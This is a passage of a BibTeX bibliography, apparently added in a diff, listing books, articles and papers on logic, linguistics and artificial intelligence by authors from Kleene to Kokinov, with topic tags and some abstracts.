Kleene}, + address = {Providence, RI}, + year = {1952}, + pages = {1--26}, + topic = {proof-theory;} + } + +@book{ kleene:1952c, + author = {Stephen Cole Kleene}, + title = {Two Papers on the Predicate Calculus}, + publisher = {American Mathematical Society}, + year = {1952}, + address = {Providence}, + topic = {proof-theory;} + } + +@article{ kleene:1965a, + author = {Stephen C. Kleene}, + title = {Logical Calculus and Realizability}, + journal = {Acta Philosophical Fennica}, + year = {1965}, + volume = {8}, + pages = {71--80}, + topic = {intuitionistic-logic;} + } + +@book{ kleene:1967a, + author = {Steven C. Kleene}, + title = {Mathematical Logic}, + publisher = {John Wiley and Sons}, + year = {1967}, + address = {New York}, + topic = {logic-classics;proof-theory;goedels-first-theorem; + goedels-second-theorem;computability;recursion-theory;} + } + +@book{ kleene-vesley:1987a, + author = {Stephen C. Kleene and Richard E. Vesley}, + title = {The Foundations of Intuitionistic Mathematics; Especially In + Relation To Recursive Functions}, + publisher = {North-Holland Publishing Co.}, + year = {1987}, + address = {Amsterdam}, + topic = {intuitionistic-logic;intuitionistic-mathematics; + recursion-theory;} + } + +@incollection{ kleene:1988a, + author = {Steven C. Kleene}, + title = {Turing's Analysis of Computability, + and Major Applications of It}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {17--54}, + address = {Oxford}, + topic = {Turing;history-of-theory-of-computation; + theory-of-computation;} + } + +@article{ kleiman:1986a, + author = {Ruben J. Kleiman}, + title = {Review of {\it Semantics and Cognition}, by {R}ay + {J}ackendoff}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {2}, + pages = {225--235}, + xref = {Review of jackendoff:1983a.}, + topic = {cognitive-semantics;} + } + +@book{ klein_da:1994a, + author = {David A. Klein}, + title = {Decision-Analytic Intelligent Systems}, + publisher = {Lawrence Erlbaum Associates}, + year = {1994}, + address = {Mahwah, New Jersey}, + topic = {implementations-of-decision-theory;} + } + +@article{ klein_da-shortliffe:1994a, + author = {David A. Klein and Edward H. Shortliffe}, + title = {A Framework for Explaining Decision-Theoretic Advice}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {67}, + number = {2}, + pages = {201--243}, + topic = {explanation;decision-theory;} + } + +@unpublished{ klein_e:1975a, + author = {Ewan Klein}, + title = {Two Sorts of Factive Predicates}, + year = {1975}, + note = {Unpublished manuscript, Bedford College, London.}, + topic = {(counter)factive-constructions;presupposition;pragmatics;} + } + +@unpublished{ klein_e:1975b, + author = {Ewan Klein}, + title = {{VP} and Sentence Pro-Forms in {M}ontague Grammar}, + year = {1975}, + note = {Unpublished manuscript, Bedford College, London.}, + topic = {VP-ellipsis;VP-pro-forms;} + } + +@unpublished{ klein_e:1976a, + author = {Ewan Klein}, + title = {Theoretical Issues in Formal Semantics and Child Language}, + year = {1976}, + note = {Unpublished manuscript, Bedford College, London.}, + topic = {nl-semantics;L1-acquisition;} + } + +@unpublished{ klein_e:1976b, + author = {Ewan Klein}, + title = {Comparatives, Intensionality, and Contexts}, + year = {1976}, + note = {Unpublished manuscript, Bedford College, London.}, + topic = {nl-semantics;context;comparative-constructions; + vagueness;context;} + } + +@article{ klein_e:1979a, + author = {Ewan Klein}, + title = {On Formalizing the Referential/Attributive Distinction}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {3}, + pages = {333--337}, + topic = {referring-expressions;} + } + +@phdthesis{ klein_e:1979b, + author = {Ewan Klein}, + title = {On Sentences Which Report Beliefs, Desires, and Other + Propositional Attitudes}, + school = {University of Cambridge}, + year = {1979}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, England}, + topic = {propositional-attitudes;definite-descriptions;referential-opacity; + indexicality;indefiniteness;} + } + +@unpublished{ klein_e:1979c, + author = {Ewan Klein}, + title = {Defensible Descriptions}, + year = {1976}, + note = {Unpublished manuscript, University of Sussex.}, + topic = {reference;definite-descriptions;} + } + +@unpublished{ klein_e:1980a, + author = {Ewan Klein}, + title = {Determiners and the Category Q*}, + year = {1980}, + note = {Unpublished manuscript, University of Sussex.}, + topic = {GPSG;} + } + +@article{ klein_e:1980b, + author = {Ewan Klein}, + title = {A Semantics for Positive and Comparative Adjectives}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {4}, + number = {1}, + pages = {1--45}, + topic = {nl-semantics;context;comparative-constructions; + vagueness;context;} + } + +@unpublished{ klein_e:1980c, + author = {Ewan Klein}, + title = {The Interpretation of Adjectival Comparatives}, + journal = {Linguistics and Philosophy}, + year = {1980}, + note = {Unpublished manuscript, University of Sussex.}, + topic = {nl-semantics;comparative-constructions;vagueness;context;} + } + +@unpublished{ klein_e-sag:1982a, + author = {Ewan Klein and Ivan Sag}, + title = {Semantic Type and Control}, + year = {1982}, + note = {Unpublished manuscript, Newcastle Upon Tyne and Stanford + University.}, + topic = {syntactic-control;} + } + +@article{ klein_e:1983a, + author = {Ewan Klein}, + title = {Preface}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {1}, + note = {Preface to a special issue on pronouns and anaphora.}, + pages = {3--4}, + topic = {pronouns;anaphora;} + } + +@article{ klein_e-sag:1985a, + author = {Ewan Klein and Ivan Sag}, + title = {Type-Driven Translation}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {2}, + pages = {163--201}, + topic = {syntax-semantics-interface;nl-semantics;GPSG; + nl-to-logic-mapping;} + } + +@incollection{ klein_e:1986a, + author = {Ewan Klein}, + title = {{VP} Ellipsis in {DR} Theory}, + booktitle = {Studies in Discourse Representation Theory and the Theory of + Generalized Quantifiers}, + publisher = {Foris Publications}, + year = {1986}, + editor = {Jeroen Groenendijk and Dick de Jongh and Martin Stokhof}, + pages = {161--187}, + address = {Dordrecht}, + topic = {ellipsis;discourse-representation-theory;pragmatics;} + } + +@book{ klein_e-vanbenthem:1987a, + editor = {Ewan Klein and Johan van Benthem}, + title = {Categories, Polymorphism and Unification}, + publisher = {Center for Cognitive Science, University of Edinburgh + and Institute for Language, Logic and Information, Univesity + of Amsterdam}, + year = {19}, + address = {Edinburgh and Amsterdam}, + topic = {categorial-grammar;} + } + +@incollection{ klein_e:1989a, + author = {Ewan Klein}, + title = {Grammar Frameworks}, + booktitle = {Logic and Linguistics}, + publisher = {Lawrence Earlbaum Associates}, + year = {1989}, + editor = {Helmut Schnelle and Niels Ole Bernsen}, + pages = {71--107}, + address = {Hillsdale, New Jersey}, + topic = {grammar-formalisms;} + } + +@incollection{ klein_m:1999a, + author = {Marion Klein}, + title = {Standardisation Efforts on the Level of + Dialogue Act in the {MATE} Project}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {35--41}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;speech-acts;} + } + +@article{ klein_p:1976a, + author = {Peter D. Klein}, + title = {Knowledge, Causality, and Defeasibility}, + journal = {The Journal of Philosophy}, + year = {1976}, + volume = {18}, + number = {73}, + pages = {792--812}, + topic = {knowledge;epistemology;} + } + +@book{ klein_w-levelt:1981a, + editor = {Wolfgang Klein and Willem Levelt}, + title = {Crossing The Boundaries In Linguistics: Studies Presented To + {M}anfred {B}ierwisch}, + publisher = {D. Reidel Publishing Co}, + year = {1981}, + address = {Dordrecht}, + ISBN = {902771259X}, + topic = {linguistics-misc-collection;} + } + +@article{ kleiter:1992a, + author = {Gernot D. Kleiter}, + title = {Bayesian Diagnosis in Expert Systems}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {54}, + number = {1--2}, + pages = {1--32}, + topic = {diagnosis;expert-systems;Bayesian-reasoning;} + } + +@article{ kleiter:1996a, + author = {Gernot D. Kleiter}, + title = {Propagating Imprecise Probabilities in {B}ayesian Networks}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {143--161}, + topic = {Bayesian-networks;uncertain-probabilities;} + } + +@incollection{ klemke:1999a, + author = {Roland Klemke}, + title = {The Notion of Context in Organizational Memories}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {483--487}, + address = {Berlin}, + topic = {context;organizational-memory;} + } + +@incollection{ klemke-nick:2001a, + author = {Roland Klemke and Achim Nick}, + title = {Case Studies in Developing + Contextualizing Information Systems}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {457--460}, + address = {Berlin}, + topic = {context;information-retrieval;} + } + +@book{ kline_p:1998a, + author = {Paul Kline}, + title = {The New Psychometrics: Science, Psychology, and + Measurement}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + ISBN = {0415187516}, + topic = {psychometrics;} + } + +@book{ kline_p:2000a, + author = {Paul Kline}, + title = {A Psychometrics Primer}, + publisher = {Free Association Books}, + year = {2000}, + address = {London}, + ISBN = {1853434884}, + topic = {psychometrics;} + } + +@article{ kling:1970a, + author = {Robert E. Kling}, + title = {A Paradigm for Reasoning by Analogy}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {2}, + number = {2}, + pages = {147--178}, + topic = {analogy;analogical-reasoning;} + } + +@book{ klinger:1991a, + editor = {Allen Klinger}, + title = {Human-Machine Interactive Systems}, + publisher = {Plenum Press}, + year = {1991}, + address = {New York}, + ISBN = {0306437589}, + topic = {HCI;} + } + +@techreport{ klop-vrijer:1987a, + author = {Jan Willem Klop and Roel de Vrijer}, + title = {Unique Normal Forms for Lambda Calculus with + Subjective Pairing}, + institution = {Institute for Language, Logic and Information, + University of Amsterdam}, + number = {LP--87--03}, + year = {1988}, + address = {Faculty of Mathematics and Computer Science, + Roeterssraat 15, 1018WB Amsterdam, Holland}, + topic = {lambda-calculus;} + } + +@book{ knapp:1981a, + author = {Benjamin B. Wolman and Susan Knapp}, + edition = {2}, + title = {Contemporary Theories and Systems in Psychology}, + publisher = {Plenum Press}, + year = {1981}, + address = {New York}, + ISBN = {0306405156}, + topic = {psychology-general;} + } + +@book{ kneale-kneale:1962a, + author = {William Kneale and Martha Kneale}, + title = {The Development of Logic}, + publisher = {Oxford University Press}, + year = {1962}, + address = {Oxford}, + topic = {history-of-logic;} + } + +@article{ knight-marcu:2002a, + author = {Kevin Knight and Daniel Marcu}, + title = {Summarization beyond Sentence Extraction: A Probabilistic + Approach to Sentence Compression}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {139}, + number = {1}, + pages = {91--107}, + topic = {text-summary;noisy-channel-models;} + } + +@article{ knight_jf-stob:2000a, + author = {Julia F. Knight and Michael Stob}, + title = {Computable Boolean Algebras}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {4}, + pages = {1605--1623}, + topic = {boolean-algebras;computability;} + } + +@inproceedings{ knight_k-etal:1995a, + author = {Kevin Knight and Ishwar Chander and Matthew Haines and + Vasileos Hatzivassiloglou and Eduard Hovy and Masayo Iida and + Steve K. Luk and Richard Whitney and Kenji Yamada}, + title = {Filling Knowledge Gaps in a Broad-Coverage Machine Translation + System}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1390--1396}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {machine-translation;} + } + +@inproceedings{ knight_k-graehl:1997a, + author = {Kevin Knight and Jonathan Graehl}, + title = {Machine Transliteration}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {128--135}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {machine-translation;transliteration;} + } + +@article{ knight_k:1998a, + author = {Kevin Knight}, + title = {Automating Knowledge Acquistition for Machine Translation}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {18}, + number = {4}, + pages = {81--96}, + topic = {machine-translation;machine-learning;} + } + +@article{ knight_k-graehl:1998b, + author = {Kevin Knight and Jonathan Graehl}, + title = {Machine Transliteration}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {4}, + pages = {599--612}, + topic = {transliteration;} + } + +@article{ knight_k:1999a, + author = {Kevin Knight}, + title = {Decoding Complexity in Word-Replacement Translation + Models}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {4}, + pages = {607--615}, + topic = {statistical-nlp;machine-translation;} + } + +@inproceedings{ knoblock:1990a, + author = {Craig A. Knoblock}, + title = {Learning Abstraction Hierarchies for Problem Solving}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {abstraction;abstraction-hierarchies;machine-learning;} + } + +@article{ knoblock:1994a, + author = {Craig A. Knoblock}, + title = {Automatically Generating Abstractions for Planning}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {68}, + number = {2}, + pages = {243--302}, + topic = {planning-algorithms;abstraction;machine-learning;} + } + +@inproceedings{ knoblock:1995a, + author = {Craig A. Knoblock}, + title = {Planning, Executing, Sensing, and Replanning for Information + Gathering}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1686--1693}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {planning;plan-reuse;} + } + +@incollection{ knott:1998a, + author = {Alisdair Knott}, + title = {Similarity and Context Relations and Inductive Rules}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {54--57}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;} + } + +@article{ knox:1972a, + author = {N. Knox}, + title = {On the Classification of Ironies}, + journal = {Modern Philology}, + year = {1972}, + volume = {70}, + number = {1}, + pages = {53--62}, + missinginfo = {A's 1st name}, + topic = {irony;} + } + +@book{ knuth:1973a, + author = {Donald E. Knuth}, + title = {The Art of Computer Programming: Fundamental Algorithms}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1973}, + volume = {1}, + edition = {2}, + address = {Reading, Massachusetts}, + topic = {art-of-programming;algorithms;} + } + +@article{ knuth-moore_rw:1975a, + author = {Donald E. Knuth and Ronald W. Moore}, + title = {An Analysis of Alpha-Beta Pruning}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {4}, + pages = {293--326}, + topic = {AI-algorithms;search;AI-algorithms-analysis;} + } + +@book{ knuth:1986a, + author = {Donald E. Knuth}, + title = {The {METAFONT} Book}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1986}, + address = {Reading, Massachusetts}, + topic = {computer-assisted-document-preparation;} + } + +@incollection{ knuth:1991b, + author = {Donald E. Knuth}, + title = {Textbook Examples of Recursion}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {207--229}, + address = {San Diego}, + topic = {recursion-theory;} + } + +@incollection{ knuuttila:1981a, + author = {Simo Knuuttila}, + title = {The Emergence of Deontic Logic in the + Fourteenth Century}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {225--248}, + address = {Dordrecht}, + topic = {deontic-logic;history-of-logic;scholastic-philosophy;} + } + +@incollection{ knuuttila:1994a, + author = {Simo Knuuttila}, + title = {Topics in Late Medieval Intensional Logic}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {26--41}, + address = {Helsinki}, + topic = {medieval-logic;intensional-logic;} + } + +@article{ ko_hp:1988a, + author = {Hai-Ping Ko}, + title = {Geometry Theorem Proving by Decomposition of + Quasi-Algebraic Sets: An Application of the {R}itt-{W}u + Principle}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {95--122}, + acontentnote = {Abstract: + We use differences of two algebraic sets, called quasi-algebraic + sets, to represent various geometrical properties. To determine + the truth value of a geometry statement, we use the Ritt-Wu + Principle to decompose the corresponding algebraic difference + set into disjoint triangular quasi-algebraic sets, and then + examine properties of elements of these triangular + quasi-algebraic sets. } , + topic = {geometrical-reasoning;theorem-proving;} + } + +@incollection{ kobsa:1989a, + author = {Alfred Kobsa}, + title = {A Taxonomy of Beliefs and Goals for + User Models in Dialog Systems}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {52--73}, + address = {Berlin}, + contentnote = {This is a survey, mentioning eg the kinds of beliefs + you are likely to encounter in user modeling.}, + topic = {user-modeling;belief;desire;intention;} + } + +@book{ kobsa-wahlster:1989a, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + title = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + address = {Berlin}, + contentnote = {TC: + 1. Wolfgang Wahlster and Alfred Kobsa, "User Models in + Dialog Systems", pp. 4--34 + 2. Elaine Rich, "Stereotypes and User Modeling", pp. 35--51 + 3. Alfred Kobsa, "A Taxonomy of Beliefs and Goals for + User Models in Dialog Systems", pp. 52--73 + 4. David N. Chin, "{KNOME}: Modeling What the User + Knows in {UC}", pp. 74--107 + 5. Alexander Quilici, "Detecting and Responding to + Plan-Oriented Misconceptions", pp. 108--132 + 6. Sandra Carberry, "Plan Recognition and Its Use in + Understanding Dialog", pp. 133--162 + 7. Jill Fain Lehman and Jaime Carbonell, "Learning the + User's Language: A Step Towards Automated + Creation of User Models", pp. 163--194 + 8. C\'ecile Paris, "The Use of Explicit User Models + in a Generation System for Tailoring Answers + to the User's Level of Expertise", pp. 200--232 + 9. Kathleen F. McCoy, "Highlighting a User Model to + Respond to Misconceptions", pp. 233--254 + 10. Anthony Jameson, "But What Will the Listener + Think? Belief Ascription and Image + Maintenance in Dialog", pp. 255--312 + 11. Robin Cohen and Marlene Jones, "Incorporating + User Models into Expert Systems for + Educational Diagnosis", pp. 313--333 + 12. Karen Sparck Jones, "Realism about User + Modeling", pp. 341--363 + 13. Katherine Morik, "User Models and Conversational + Settings: Modelling the User's Wants", pp. 364--385 + 14. Robert Kass, "Student Modeling and Intelligent + Tutoring---Implications for User + Modeling", pp. 386--410 + 15. Timothy W. Finin, "{GUMS}---A General User Modeling + Shell", pp. 411--430 + } , + ISBN = {0387183809 (paper)}, + topic = {user-modeling;discourse;computational-dialogue;} + } + +@incollection{ koch:1991a, + author = {Gregers Koch}, + title = {Preliminary Investigations of the Implementation + of {PTQ} by Use of Data Flow}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + missinginfo = {pages pages = {103--}}, + topic = {computational-linguistics;Montague-grammar;} + } + +@article{ kochen:1974a, + author = {Manfred Kochen}, + title = {Representations and Algorithms for Cognitive Learning}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {3}, + pages = {199--216}, + acontentnote = {Abstract: + This is a report summarizing our progress towards a theory of + cognitive learning. It is concerned with an algorithm that + recognizes, selects and formulates in an internal language + problems that arise in an external environment. This algorithm + revises its representation of the environment and uses it to + cope with self-selected problems. + The algorithm depends on the formation of hypotheses and their + use to select actions. The key ideas of this project are major + new additions to a theory of representation of knowledge built + on an inductive predicate logic. } , + topic = {cognitive-architectures;learning;cognitive-modeling;} + } + +@incollection{ kodeh-matsumoto_y:2000a, + author = {Taku Kodeh and Yuji Matsumoto}, + title = {Use of Support Vector Learning for Chunk Identification}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {142--144}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;text-chunking;} + } + +@incollection{ kodratoff-ganascia:1984a, + author = {Yves Kodratoff and Jean-Gabriel Ganascia}, + title = {Learning as a Non-Deterministic but Exact Logical + Processes}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {182--191}, + address = {Chichester}, + topic = {machine-learning;concept-learning;} + } + +@inproceedings{ koehler:1992a, + author = {Jana Koehler}, + title = {Towards a Logical Treatment of Plan Reuse}, + booktitle = {Proceedings of the First International Conference on + Artificial Intelligence Planning Systems}, + year = {1992}, + pages = {285--286}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {planning;plan-reuse;} + } + +@incollection{ koehler:1994a, + author = {Jana Koehler}, + title = {Flexible Plan Reuse in a Formal Framework}, + booktitle = {Current Trends in AI Planning}, + publisher = {IOS Press}, + year = {1994}, + editor = {Christer B\"ackstr\"om and Erik Sandewall}, + pages = {171--184}, + address = {Amsterdam}, + topic = {planning;plan-reuse;} + } + +@inproceedings{ koehler:1994b, + author = {Jana Koehler}, + title = {An Application of Terminological Logics to Case-Based + Reasoning}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + year = {1994}, + editor = {J. Doyle and E. Sandewall and P. Torasso}, + publisher = {Morgan Kaufmann}, + pages = {351--362}, + topic = {kr;taxonomic-logics;case-based-reasoning;kr-course;} + } + +@article{ koehler:1996a, + author = {Jana Koehler}, + title = {Planning from Second Principles}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {87}, + number = {1--2}, + pages = {145--146}, + contentnote = {Integrates KL1 with CBR, Plan Reuse.}, + topic = {kr;taxonomic-logics;case-based-reasoning; + plan-reuse;kr-course;} + } + +@article{ koehler-ottinger:2002a, + author = {Jana Koehler and Daniel Ottinger}, + title = {An {AI}-Base Approach to Destination Control in Elevators}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {23}, + number = {3}, + pages = {59--79}, + topic = {scheduling;} + } + +@article{ koenig_jp-davis_ar:2001a, + author = {Jean-Pierre Koenig and Anthony R. Davis}, + title = {Sub-Lexical Modality and the Structure of Lexical + Semantic Representations}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {1}, + pages = {71--124}, + topic = {nl-modality;lexical-semantics;verb-semantics;} + } + +@incollection{ koenig_s-simmons_rg:1994a, + author = {Sven Koenig and Reid G. Simmons}, + title = {Risk-Sensitive Planning with Probabilistic Decision Graphs}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {363--373}, + address = {San Francisco, California}, + topic = {kr;planning;plan-evaluation;decision-theory;kr-course;} + } + +@article{ koenig_s:2001a, + author = {Sven Koenig}, + title = {Minimax Real-Time Heuristic Search}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {165--197}, + topic = {plan-execution;heuristics;search;minimaxing;} + } + +@incollection{ koertge:2000a, + author = {Noretta Koertge}, + title = {Science, Values, and the Value of Science}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S45--S57}, + address = {Newark, Delaware}, + topic = {philosophy-of-science;} + } + +@article{ koffman-blount:1975a, + author = {Elliot B. Koffman and Sumner E. Blount}, + title = {Artificial Intelligence and Automatic Programming in + {CAI}}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {3}, + pages = {215--234}, + acontentnote = {Abstract: + This paper discusses generative computer-assisted instruction + (CAI) and its relationship to Artificial Intelligence Research. + Systems which have a limited capability for natural language + communication are described. In addition, potential areas in + which Artificial Intelligence could be applied are outlined. + These include individualization of instruction, determining the + degree of accuracy of a student response, and problem-solving. + A CAI system which is capable of writing computer programs is + described in detail. Techniques are given for generating + meaningful programming problems. These problems are represented + as a sequence of primitive tasks each of which can be coded in + several ways. The manner in which the system designs its own + solution program and monitors the student solution is also + described.}, + topic = {computer-assisted-instruction;automatic-programming; + intelligent-tutoring;} + } + +@article{ kohavi-john:1997a, + author = {Ron Kohavi and George H. John}, + title = {Wrappers for Feature Subset Selection}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {273--323}, + topic = {relevance;machine-learning;} + } + +@article{ kohl:1969a, + author = {M. Kohl}, + title = {Bertrand {R}ussell on Vagueness}, + journal = {Australasian Journal of Philosophy}, + year = {1969}, + volume = {147}, + pages = {31--41}, + missinginfo = {A's 1st name, number}, + topic = {vagueness;Russell;} + } + +@article{ kohlas-etal:1998a, + author = {J. Kohlas and B. Anrig and R. Haenni and P.A. Monney}, + title = {Model-Based Diagnostics and Probabilistic + Assumption-Based Reasoning}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {104}, + number = {1--2}, + pages = {71--106}, + topic = {probabiliistic-reasoning;diagnosis;truth-maintenance;} + } + +@article{ kohlenbach:2000a, + author = {Ulrich Kohlenbach}, + title = {Review of {\it Epsilon Substitution Method for Elementary + Analysis}, by {G}rigori {M}ints, {S}ergei {T}upailo and + {W}ilfried {B}uchholtz}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {3}, + pages = {356--357}, + xref = {Review of mints-etal:1996a.}, + topic = {epsilon-operator;elementary-analysis;proof-theory;} + } + +@incollection{ kohlhase:1998a, + author = {M. Kohlhase}, + title = {Higher-Order Automated Theorem Proving}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;higher-order-logic;} + } + +@incollection{ kohlhase:1998b, + author = {M. Kohlhase}, + title = {Introduction (to Part {I}: Automated + Theorem Proving in Mathematics)}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@inproceedings{ kohlhase:2000a, + author = {Michael Kohlhase}, + title = {Model Generation for Discourse Representation Theory}, + booktitle = {14th European Conference on Artificial Intelligence}, + year = {2000}, + editor = {Werner Horn}, + publisher = {{IOS} Press}, + address = {Amsterdam}, + missinginfo = {pages}, + topic = {DRT;model-construction;} + } + +@article{ kohno-etal:1997a, + author = {Takeshi Kohno and Susumu Hamada and Dai Araki and Shoichi + Kojima and Toshikazu Tanaka}, + title = {Error Repair and Knowledge Acquisition via Case-Based + Reasoning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {1}, + pages = {85--101}, + acontentnote = {Abstract: + To cope with the knowledge acquisition bottleneck, the authors + propose a new architecture combining rule-based reasoning (RBR), + case-based reasoning (CBR) and knowledge acquisition technology + in a system which solves pattern search problems. The RBR part + searches for specified patterns in a large space represented by + a network structure such as an LSI circuit diagram, which + contains a great number of patterns and variations. It then + carries out specified actions, such as fault diagnosis, on the + patterns that are found. The outputs of the RBR part are + transferred to the CBR part. The user of the system detects and + repairs a few pattern detection errors caused by the RBR part. + The CBR part detects and repairs all remaining errors which can + be estimated from the user detected ones. The repaired results + are sent back to the RBR part to recover the RBR output. The + repaired results are also stored automatically in the case base. + Similar cases are grouped in a same case family. The knowledge + acquisition part relates each case family to an incomplete rule + in the RBR knowledge base and proposes modifying the rule. + Eventually, the system can obtain refined rules with the + cooperation of domain experts. Thus, the problem solving process + and knowledge acquisition process are performed cyclically. The + architecture was successfully applied to a pair condition + extraction problem for an analog LSI circuit layout system.}, + topic = {case-based-reasoning;knowledge-acquisition; + rule-based-reasoning;circuit-design;} + } + +@incollection{ koit-oim:2000a, + author = {Mare Koit and Haldur Oim}, + title = {Dialogue Management in the Agreement Negotiation Process: + A Model that Involves Natural Reasoning}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {102--111}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;negotiation;} + } + +@incollection{ kokinov:1999a, + author = {Boicho Kokinov}, + title = {Dynamics and Automaticity of Context: A + Cognitive Modeling Approach}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {200--213}, + address = {Berlin}, + topic = {context;cognitive-psychology;} + } 